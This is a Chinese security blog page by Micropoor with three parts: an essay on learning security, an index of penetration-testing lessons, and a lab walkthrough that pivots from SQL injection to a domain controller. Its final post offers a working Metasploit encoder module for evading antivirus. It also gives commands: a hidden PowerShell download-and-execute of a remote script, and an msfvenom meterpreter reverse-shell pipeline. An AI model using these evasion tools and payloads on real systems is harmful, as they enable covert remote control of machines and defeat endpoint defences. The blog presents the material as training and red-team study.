显示标签为“php安全新闻早8点”的博文。显示所有博文
显示标签为“php安全新闻早8点”的博文。显示所有博文

2019年8月22日星期四

网络安全学习方法论之体系的重要性

如果你分享的内容过于真实,你就没有发表机会,你要完全假了呢,又没有读者去看,你可以在这个通道里,真一会儿假一会儿地往前走,最重要的还是要往前走。

——Micropoor

古人半部论语治天下,读书考功只须熟读四书,而四书加起来不过区区5万字。可见网络安全学习知识体系的建立是重中之重。

古人将一个职业划分为7个阶段,既:


  • 奴:自愿和靠人监督的人
  • 徒:能力不足,肯自愿学习的人
  • 工:老老实实,按规矩做事的人
  • 匠:精通一门技艺或手艺的人
  • 师:掌握了规律,又能将其传授给他人的人
  • 家:有固定的信念,让别人生活的更好的人
  • 圣:精通事理,通达万物的人


同样网络安全学习也有10个阶段划,既:


  • 问:自愿或靠人监督的人
  • 学:能力不足,肯自愿学习的人
  • 动:老老实实,按课本或教学实践的人
  • 记:记录每次实践或学习心得体会并总结的人
  • 体系:建立适合自己的体系,并能把知识碎片化结合到自我体系的人
  • 问:体系建立后,重新归纳更新知识,并体系重新结构化的人
  • 分享:掌握了规律,又能将其传授给他人的人
  • 带团队:有固定的信念,带领团队或集体形成合力的人
  • 授业:可以传授道理、教授学业、解答疑难问题,指路人。
  • 育才:培养出比自己优秀和强大的人

只有体系化的知识结构才能教导你思考问题、引导你洞察趋势、指导你展开行动。


什么是体系?

  • 体系的本质是碎片化知识点的灵活串联与应用
  • 知识体系是基于人而存在的,世上不存在不同的人完全相同的知识体系

什么是知识体系?

  • 在我的定义中,知识体系是跟碎片知识相对应的概念,指高度有序的知识集合。也就是说,它由两部分组成:一是大量的知识点,二是有序的结构。



建立体系的过程?


  • 整理知识碎片化
  • 建立知识框架
  • 形成知识体系
  • 碎片化知识点纳入体系中

王国维在《人间词话》中说,古今之成大事业、大学问者,必经过三种之境界:


  • 昨夜西风凋碧树,独立高楼,望尽天涯路
  • 衣带渐宽终不悔,为伊消得人憔悴
  • 众里寻他千百度,蓦然回首,那人却在灯火阑处

爱德加·戴尔提出了一套学习模型:模型主要分别为被动学习主动学习的一个过程。
同时提出,学习效果在30%以下的几种传统方式,都是个人学习或被动学习;而学习效果在50%以上的,都是团队学习、主动学习和参与式学习。

“输出”是最好的学习方式,“输出”的本质是体系重新结构化








这里总结了如下经常碰到的问题,值得每一位网络安全从业人员深思:

  • 不知道怎么学?
  • 不知道学哪个方向?
  • 越学越不会?
  • 感觉自己跟不上知识更新的速度?
  • 从事网安工作若干年后,感觉遇到技术瓶颈,怎么突破?
  • 工具/技术招式越来越多,怎么办?
  • 从事管理工作后,没有时间或者精力学习技术怎么办?

方法论结合于实战应用,请参考之前的文章如下:





结语:
在每次分享的同时,深深发现,原来分享,才是我最好的老师。
网络安全亦正亦邪,初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田美池桑竹之属。别在初极狭便放弃这“人间正道”,错过这“土地平旷,屋舍俨然,有良田美池桑竹之属。”,愿每一位读者能找到自己能融合贯通的“武功”,在结合吞噬其他“招式”,如行云流水,石便是器,枝便是剑。

2019年1月4日星期五

PHP安全新闻早8点课程系列

     文中一定会出现笔误或者不对的地方,请大家多多包涵,提前向各位说声对不起,所有课程从基础开始(包括工具的介绍,应用等),这样以后新来的同事或者想要自我从头学习的同事也可以避开一些弯路,在写的过程中,我深深体会到分享者才是学习中的最大受益者,由于需要成文章,所以需要查阅大量的资料。在整个过程中,又学习到很多知识点。连载其中包括穿插在工作中的项目心得笔记,包括但不限制于代码审计,web渗透,内网渗透,域渗透,隧道介绍,日志溯源与暴力溯源等。如果有课程指定需求介绍相关技术的同事(在我技术能力范围之内),请发我的邮箱:micropoor@gmail.com
     在2010-2012年之间一直在写<PHP安全新闻早8点>,但是由于当时的工作原因,就不在写了。这次的所有课程无版权,只希望自己可以在本来已封闭的技术氛围里,依然做出一些技术文档输出。那么这次的教程我想依然想叫<PHP安全新闻早8点>,笔者相信有一天,你会发现原来弄清事物的本质是这样的有趣。






2017-11-17
Micropoor

动态:
          更新第十八课内容以及链接,2019-1-21
          暂停更新,文章核心全部围绕企业安全防御,预警为出发点。2019-1-25
          更新第二十一课至第二十六课内容以及链接,2019-2-4
          如有指定技术需求,请在系列中留言,会在未来课时中更新该相关技术文章。2019-2-18
          更新完毕第一章:生(100课时),点我下载。2019-2-18





第一章:


1-10课:
第一课:windows提权-快速查找exp
第二课:Linux提权-依赖exp篇
第三课:Delphi代码审计--项目实战1
第四课:Asp代码审计--项目实战2
第五课:工具介绍-Sqlmap
第六课:反攻的一次溯源--项目实战3
第七课:sql server 常用操作远程桌面语句
第八课:模拟诉求任务攻击
第九课:工具介绍-the-backdoor-factory
第十课:msfvenom常用生成payload命令

11-20课:
第十一课:工具介绍Veil-Evasion
第十二课:基于UDP发现内网存活主机
第十三课:基于ARP发现内网存活主机
第十四课:基于第十课补充payload1
第十五课:基于第十课补充payload2
第十六课:红蓝对抗渗透测试1
第十七课:红蓝对抗渗透测试2
第十八课:红蓝对抗渗透测试3
第十九课:基于netbios发现内网存活主机
第二十课:基于snmp发现内网存活主机

21-30课:
第二十一课:基于ICMP发现内网存活主机
第二十二课:基于SMB发现内网存活主机
第二十三课:基于MSF发现内网存活主机第一季
第二十四课:基于MSF发现内网存活主机第二季
第二十五课:基于MSF发现内网存活主机第三季
第二十六课:基于MSF发现内网存活主机第四季
第二十七课:基于MSF发现内网存活主机第五季
第二十八课:基于MSF发现内网存活主机第六季
第二十九课:发现目标WEB程序敏感目录第一季
第三十课:解决msfvenom命令自动补全

31-40课:
第三十一课:msf的前生今世
第三十二课:配置vps上的msf
第三十三课:攻击Mysql服务
第三十四课:攻击Sql server 服务
第三十五课:与Sqlmap结合攻击
第三十六课:解决vps上ssh掉线
第三十七课:vbs一句话下载payload
第三十八课:certutil一句话下载payload
第三十九课:vbs一句话下载payload补充
第四十课:ftp一句话下载payload

41-50课:
第四十一课:bitsadmin一句话下载payload
第四十二课:攻击FTP 服务
第四十三课:js一句话下载payload
第四十四课:certutil一句话下载payload补充
第四十五课:解决bat一句话下载payload黑窗
第四十六课:powershell一句话下载payload
第四十七课:payload分离免杀思路
第四十八课:payload分离免杀思路第二季
第四十九课:关于Powershell对抗安全软件
第五十课:基于SqlDataSourceEnumerator发现内网存活主机

51-60课:
第五十一课:项目回忆:体系的本质是知识点串联
第五十二课:渗透的本质是信息搜集
第五十三课:内网渗透中的文件传输
第五十四课:基于Powershell做Socks 4-5代理
第五十五课:与Smbmap结合攻击
第五十六课:离线提取目标机hash
第五十七课:高级持续渗透-第一季关于后门
第五十八课:高级持续渗透-第二季关于后门补充一
第五十九课:高级持续渗透-第三季关于后门补充二
第六十课:高级持续渗透-第四季关于后门

61-70课:
第六十一课:高级持续渗透-第五季关于后门
第六十二课:高级持续渗透-第六季关于后门
第六十三课:高级持续渗透-第七季demo的成长
第六十四课:高级持续渗透-第八季demo便是远控
第六十五课:离线提取目标机hash补充
第六十六课:借助aspx对payload进行分离免杀
第六十七课:meterpreter下的irb操作第一季
第六十八课:基于Ruby内存加载shellcode第一季
第六十九课:渗透,持续渗透,后渗透的本质
第七十课:ftp一句话下载payload补充

71-80课:
第七十一课:基于白名单Msbuild.exe执行payload第一季
第七十二课:基于白名单Installutil.exe执行payload第二季
第七十三课:基于白名单Regasm.exe执行payload第三季
第七十四课:基于白名单Regsvcs.exe执行payload第四季
第七十五课:基于白名单Mshta.exe执行payload第五季
第七十六课:基于白名单Compiler.exe执行payload第六季
第七十七课:基于白名单Csc.exe执行payload第七季
第七十八课:基于白名单Msiexec执行payload第八季
第七十九课:基于白名单Regsvr32执行payload第九季
第八十课:基于白名单Wmic执行payload第十季

81-90课:
第八十一课:基于白名单Rundll32.exe执行payload第十一季
第八十二课:基于白名单Odbcconf执行payload第十二季
第八十三课:基于白名单PsExec执行payload第十三季
第八十四课:基于白名单Forfiles执行payload第十四季
第八十五课:基于白名单Pcalua执行payload第十五季
第八十六课:基于白名单Msiexec执行payload第八季补充
第八十七课:基于白名单Cmstp.exe执行payload第十六季
第八十八课:基于白名单Ftp.exe执行payload第十九季
第八十九课:基于白名单Url.dll执行payload第十七季
第九十课:基于白名单zipfldr.dll执行payload第十八季

91-100课:
第九十一课:从目标文件中做信息搜集第一季
第九十二课:实战中的Payload应用
第九十三课:与CrackMapExec结合攻击
第九十四课:基于实战中的small payload
第九十五课:基于portfwd端口转发
第九十六课:HTTP隧道ABPTTS第一季
第九十七课:MSF配置自定义payload控制目标主机权限
第九十八课:HTTP隧道reGeorg第二季
第九十九课:HTTP隧道Tunna第三季
第一百课:HTTP隧道reDuh第四季


第二章:


101-110课:
第一百零一课:基于SCF做目标内网信息搜集第二季
第一百零二课:对抗权限长期把控-伪造无效签名第一季
第一百零三课:Http加密隧道下的横向渗透尝试---klion
第一百零四课:Windows Smb 欺骗重放攻击利用---klion
第一百零五课:windows 单机免杀抓明文或hash [通过dump lsass进程数据]---klion
第一百零六课:windows 单机免杀抓明文或hash [通过简单混淆编码绕过常规静态检测]---klion
第一百零七课:跨平台横向移动 [ windows计划任务利用 ]---klion
第一百零八课:跨平台横向移动 [wmi利用]---klion
第一百零九课:依托 metasploit 尽可能多的发现目标内网下的各类高价值存活主机---klion
第一百一十课:窃取,伪造模拟各种windows访问令牌[token利用]---klion

111-120课:
第一百一十一课:内网mssql完整利用流程 [ 基础篇 ]---klion
第一百一十二课:利用Dropbox中转C2流量---klion
第一百一十三课:COM Hijacking---倾旋
第一百一十四课:渗透沉思录
第一百一十五课:使用CrackMapExec 进行 NTLM Hash传递攻击---倾旋
第一百一十六课:Windows域渗透 - 用户密码枚举---倾旋
第一百一十七课:Windows 本地特权提升技巧---倾旋
第一百一十八课:CVE-2017-11882钓鱼攻击---倾旋

121-130课:
第一百二十一课:http加密代理深度应用 [ abptts ]---klion
第一百二十二课:利用 ssh隧道实现内网断网机meterpreter反向上线---klion
第一百二十三课:利用ssh隧道将公网meterpreter弹至本地的msf中---klion

131-140课:

141-150课:

151-160课:

161-170课:

171-180课:

181-190课:

191-200课:


第三章:


201-210课:

211-220课:

221-230课:

231-240课:

241-250课:

251-260课:

261-270课:

271-280课:

281-290课:

291-300课:


第四章:




高级持续渗透-第八季demo便是远控

2018年9月5日星期三

渗透,持续渗透,后渗透的本质

转载请标注作者Micropoor以及文章来源,https://micropoor.blogspot.com/。
引言(1):
        目标资产信息搜集的广度,决定渗透过程的复杂程度。
        目标主机信息搜集的深度,决定后渗透权限持续把控。
        渗透的本质是信息搜集,而信息搜集整理为后续的情报跟进提供了强大的保证。
        持续渗透的本质是线索关联,而线索关联为后续的攻击链方提供了强大的方向。
        后渗透的本质是权限把控,而权限把控为后渗透提供了以牺牲时间换取空间强大基础。

靶机背景介绍:


主机A1:CentOs x64 全补丁,无提权漏洞,可互联网
主机A2:Windows 2008 x64 全补丁  无提权漏洞,脱网机
主机B:  Windows 2008 x64 全补丁  无提权漏洞,域内主机,脱网机
主机C:  Windows 2008 x64 域控,存在ms14-068漏洞,脱网机
且A1,A2,B,C系统主机密码均为强口令

A1,A2,B,C为标准ABC类网,允许访问流程,A1---->A2---->B---->C,不允许跨主机访问。(请注意每个主机的对应IP段)

整体攻击流程图:

模拟开始攻击:

扫描主机A1对攻击机开放端口:80,22


扫描主机A1-Web目录结构:


主机A1-Web搜索处存在sql注入:


登录后台得到shell:


生成tcp payload 以php一句话执行:



A1对内信息搜集发现A2,并且针对A1,没有可用提权漏洞(Web非root权限),放弃提权:


以A1作为跳板添加虚拟路由,并且开始做针对A2的对内信息搜集:



以A1跳板发现A2部署weblogic,并且存在漏洞。转发目标机7001至本地,利用漏洞。




发现A2全补丁,放弃提权,(weblogic为user权限)对内信息刺探A2,得到weblogic相关配置文件,解密后,得到密码。


尝试做二级跳板,以weblogic相关配置,尝试对B(域内成员)的渗透(SMB)



获取B权限(system),尝试对内B的本身信息搜集,发现域账号(普通成员)user1.


引言(2):
          渗透测试过程,提权是非核心任务,这里也不建议尝试提权,因为在实战过程中获取某个“点”的权限,过程是及其漫长以及困难的,不要因为某个大胆的尝试,而影响了整个渗透测试流程。


尝试三级跳板,尝试获取sid,以及域控对内相关IP,尝试越权,获取域控权限。






并没有结束:在得到域控后,对主机C对内信息搜集,得到域控administrator密码,尝试用该密码ssh--->A1,成功,root权限。

广告(你需要背下来的广告词):只要是“一个人”设置的密码“群”,一定有大的规律,只要是“一个行业”设置的密码“群”一定有规律可寻。

引言(4):
       渗透的本质是信息搜集,而要把信息搜集发挥最大效果,一定是离不开“线索关联”,而信息搜集,无论是对内,对外,更或者是主动信息搜集,被动信息搜集。如何把目标A与B的信息搜集,整理后做“线索关联”是一个非常有趣的工作。

后者的话:
         APT攻击三大要素,既:
               攻击手段复杂,持续时间长,高危害性
         APT攻击主要分类为两大类,既:
                高级持续渗透 , 即时渗透





APT两大类攻击核心诉求区别:



在做调研之前,作者一直以为越发达的城市,或者越政治中心的城市是发生攻击的高发地,但是在调研后,打破了我之前的想法,于是作者深入调研原因究竟,以便更好的了解企业安全建设的规划。




      在针对政府机构的攻击中,APT组织除了会攻击一般的政府机构外,还有专门针对公检法的攻击。
       在针对能源行业的攻击中,APT组织重点关注的领域依次是:石油、天然气和核能。针对能源行业的攻击,对国家安全具有很大的影响。
       在针对金融行业的攻击中,APT组织最为关注的是银行,其次是证券、互联网金融等。还有部分APT组织会关注到与虚拟数字货币(如比特币、门罗币等)相关的机构或公司。针对金融机构的攻击大多会利用安全漏洞。针对ATM自动取款机的攻击也一直延续了2016年的活跃状态。
      还有一点值得注意:APT组织的攻击虽然具有很强的针对性,但其攻击目标也并不一定是单一的。有的APT组织只攻击特定国家特定领域的目标(仅从目前已经披露的情况看),但也有很多APT组织会对多个国家的不同领域目标展开攻击。上图给出了2017年全球各国研究机构发布的APT研究报告中,披露APT组织攻击目标的所属国家、领域数量分析。

引言(5):

         目前市场上的企业网络安全规划与建设大部分存在统一实施方案,或者是模板方案。而非针对特定行业,特定客户群体来制定针对方案。而不同行业,不同背景的企业安全规划方案也一定是不相同的。如传统行业(医药,食品,汽车)对待企业安全的建设是起跑阶段。如金融行业(证券,银行,保险)对待企业安全的建设是规划与实施阶段。如互联网行业(某度,某巴,某鹅)对待企业安全建设是自研或商业化阶段。为了更好的了解,所以如上制图,更能清楚的看到,未来企业网络安全对待企业发展的重要性,以及特定行业特定规划方案,特定行业特定防御对象。如某X企业安全预算为100万,是否应该针对该企业,行业,地理位置,做防御预算倾斜,并且留有10%-15%的资金量做2月,3月,11月攻击高发期的预案资金等。


总结:

         由于信息化,自动化的办公,企业成本的考虑,传统的“以点打面”的点会越来越分散与难以集中管理,如跨国办公,移动办公等。那么可预知的攻击方式将会以人为突破口的事越来越多。安全的本质又不能仅仅靠预算与设备的投入而杜绝,尤其是在未来的大型甲方公司,都会有着自己的安全团队,那么如何把网络安全发展成未来甲方公司的企业文化,将会是一个漫长的过程。而近些年无论是国内还是国外的官方部门开始重视网络安全,但是效果不明显,这里做一个总结,同样部分也适用于企业:


2018年4月27日星期五

关于Powershell对抗安全软件

       Windows PowerShell是以.NET Framework技术为基础,并且与现有的WSH保持向后兼容,因此它的脚本程序不仅能访问.NET CLR,也能使用现有的COM技术。同时也包含了数种系统管理工具、简易且一致的语法,提升管理者处理,常见如登录数据库、WMI。Exchange Server 2007以及System Center Operations Manager 2007等服务器软件都将内置Windows PowerShell。
      Windows PowerShell的强大,并且内置,在渗透过程中,也让渗透变得更加有趣。而安全软件的对抗查杀也逐渐开始针对powershell的一切行为。
      在https://technet.microsoft.com,看到文档如下:
Here is a listing of the available startup parameters: 
 
-Command Specifies the command text to execute as though it were typed at the PowerShell command prompt. 
 
-EncodedCommand Specifies the base64-encoded command text to execute. 
 
-ExecutionPolicy Sets the default execution policy for the console session. 
 
-File Sets the name of a script fi le to execute. 
 
-InputFormat Sets the format for data sent to PowerShell as either text string or serialized XML. The default format is XML. Valid values are text and XML. 
 
-NoExit Does not exit after running startup commands. This parameter is useful when you run PowerShell commands or scripts via the command prompt (cmd.exe). 
 
-NoLogo Starts the PowerShell console without displaying the copyright banner. 
 
-Noninteractive Starts the PowerShell console in non-interactive mode. In this mode, PowerShell does not present an interactive prompt to the user. 
 
-NoProfile Tells the PowerShell console not to load the current user’s profile. 
 
-OutputFormat Sets the format for output as either text string or serialized XML. The default format is text. Valid values are text and XML. 
 
-PSConsoleFile Loads the specified Windows PowerShell console file. Console files end with the .psc1 extension and can be used to ensure that specific snap-in extensions are loaded and available. You can create a console file using Export-Console in Windows PowerShell. 
 
-Sta Starts PowerShell in single-threaded mode. 
 
-Version Sets the version of Windows PowerShell to use for compatibility, such as 1.0. 
 
-WindowStyle Sets the window style as Normal, Minimized, Maximized, or Hidden. The default is Normal. 


针对它的特性,本地测试:
1
Add-Type -AssemblyName PresentationFramework;[System.Windows.MessageBox]::Show('Micropoor')




上文所说,越来越多的杀软开始对抗,powershell的部分行为,或者特征。以msfvenom为例,生成payload。

micropoor.ps1不幸被杀。

针对powershell特性,更改payload


接下来考虑的事情是如何把以上重复的工作变成自动化,并且针对powershell,DownloadString特性,设计出2种payload形式:
(1)目标机出网
(2)目标机不出网

并且根据需求,无缝连接Metasploit。

根据微软文档,可以找到可能对以上有帮助的属性,分别为:
WindowStyle
NoExit
EncodedCommand
exec

自动化实现如下:

#       copy base64.rb to metasploit-framework/embedded/framework/modules/encoders/powershell.If powershell is empty,mkdir powershell.
#       E.g 
#       msf encoder(powershell/base64) > use exploit/multi/handler 
#       msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
#       payload => windows/x64/meterpreter/reverse_tcp
#       msf exploit(multi/handler) > exploit 
 
#       msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows.
 
#       [*] Started reverse TCP handler on xx.1xx.xx.xx:xx
 
class MetasploitModule < Msf::Encoder
  Rank = NormalRanking
 
  def initialize
    super(
      'Name'             => 'Powershell Base64 Encoder',
      'Description'      => %q{
        msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows.
      },
      'Author'           => 'Micropoor',
      'Arch'             => ARCH_CMD,
      'Platform'         => 'win')
 
    register_options([
      OptBool.new('payload', [ false'Use payload 'false ]),
      OptBool.new('x64', [ false'Use syswow64 powershell'false ])
    ])
 
  end
 
  def encode_block(state, buf)
    base64 = Rex::Text.encode_base64(Rex::Text.to_unicode(buf))
    cmd = ''
    if datastore['x64']
      cmd += 'c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe '
    else
      cmd += 'powershell.exe '
    end
    if datastore['payload']
      cmd += '-windowstyle hidden -exec bypass -NoExit '
    end
    cmd += "-EncodedCommand #{base64}"
  end
end
 
 
# if use caidao
# execute echo powershell -windowstyle hidden -exec bypass -c \""IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.117/xxx.ps1');\"" |msfvenom -e x64/xor4 --arch x64 --platform windows
# xxx.ps1 is msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows.



copy powershell_base64.rb to metasploit-framework/embedded/framework/modules/encoders/powershell.If powershell is empty,mkdir powershell.


参数 payload 选择是否使用Metasploit payload,来去掉powershell的关键字。

例1(目标出网,下载执行):

echo powershell -windowstyle hidden -exec bypass -c \""IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.117/micropoor.ps1');\"" |msfvenom -e powershell/base64 --arch x64 --platform windows



例2(目标不出网,本地执行)



注:加payload参数
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.117 LPORT=8080 -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows payload

更多有趣的实验:

把例1的down内容更改为例2,并且去掉payload参数。来减小payload大小。

更改Invoke-Mimikatz.ps1等。



tks
https://technet.microsoft.com/en-us/library/ff629472.aspx
https://github.com/danielbohannon/Invoke-Obfuscation